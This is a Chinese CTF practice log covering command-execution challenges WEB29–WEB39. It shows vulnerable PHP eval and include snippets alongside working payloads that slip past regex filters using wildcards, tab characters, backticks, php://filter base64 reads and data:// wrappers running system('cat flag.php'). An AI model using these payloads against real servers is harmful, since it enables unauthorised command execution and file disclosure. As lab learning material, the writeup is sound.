0%

刷题记录-5(命令执行)

WEB29

首先认识几个函数preg_matchevalsystem

payload1:/?c=system(“ls”); 发现flag.php文件,由于c中不能包含flag字符串,所以用通配符绕过

payload2:/?c=system(“cat fla*”); 然后查看源码得到flag

WEB30

这里过滤了system,所以用echo(该方法同样适用于WEB29)

payload:

1
/?c=echo `cat fla*`;

WEB31

1
2
3
4
5
6
7
8
9
10

if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

过滤了system,这里使用echo。flag,php过滤继续用通配符绕过。空格用%09绕过,cat被过滤了换成tac。

payload:

1
/?c=echo%09`tac%09fla*`;

WEB32

1
2
3
4
5
6
7
8
9
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

过滤了system,echo,这里可以使用passthru,但是这次还过滤了括号,所以passthru也没有办法用,这里使用文件包含,通过php://filter协议进行读取文件。

payload:

1
/?c=$shl=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

或者payload:

1
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

解码就到flag

WEB33

1
2
3
4
5
6
7
8
9
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

过滤了和WEB32一样的东西,但是用WEB32的payload却不行,目前不知道为啥,WEB32也不能用WEB33的payload。

payload:

1
2
?c=?><?=include$_GET[1]?>&1=php://filter/read=convert.base64-
encode/resource=flag.php

或者payload:

1
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

WEB34

payload:

1
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

WEB35

payload:

1
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

WEB36

这里过滤了0-9,所以不能用数字了

payload:

1
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

WEB32-36通用解

1
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

WEB37

这里的关键是include函数,include (或 require)语句会获取指定文件中存在的所有文本/代码/标记,并复制到使用 include 语句的文件中。
伪协议中的data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行

1
2
3
data://协议用法:
data://text/plain,
data://text/plain;base64,
1
2
3
payload: c=data://text/plain,<?php system("cat f*")?>  //查看flag.php,右键源码中查找flag
payload: c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKT8+
//'base64,'后面是base64加密的<?php system('cat flag.php')?>

WEB38

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php


//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

过滤了flag,php,file。所以用WEB37中的第二种payload

WEB39

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}

}else{
highlight_file(__FILE__);
}

.php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用

payload和WEB37一样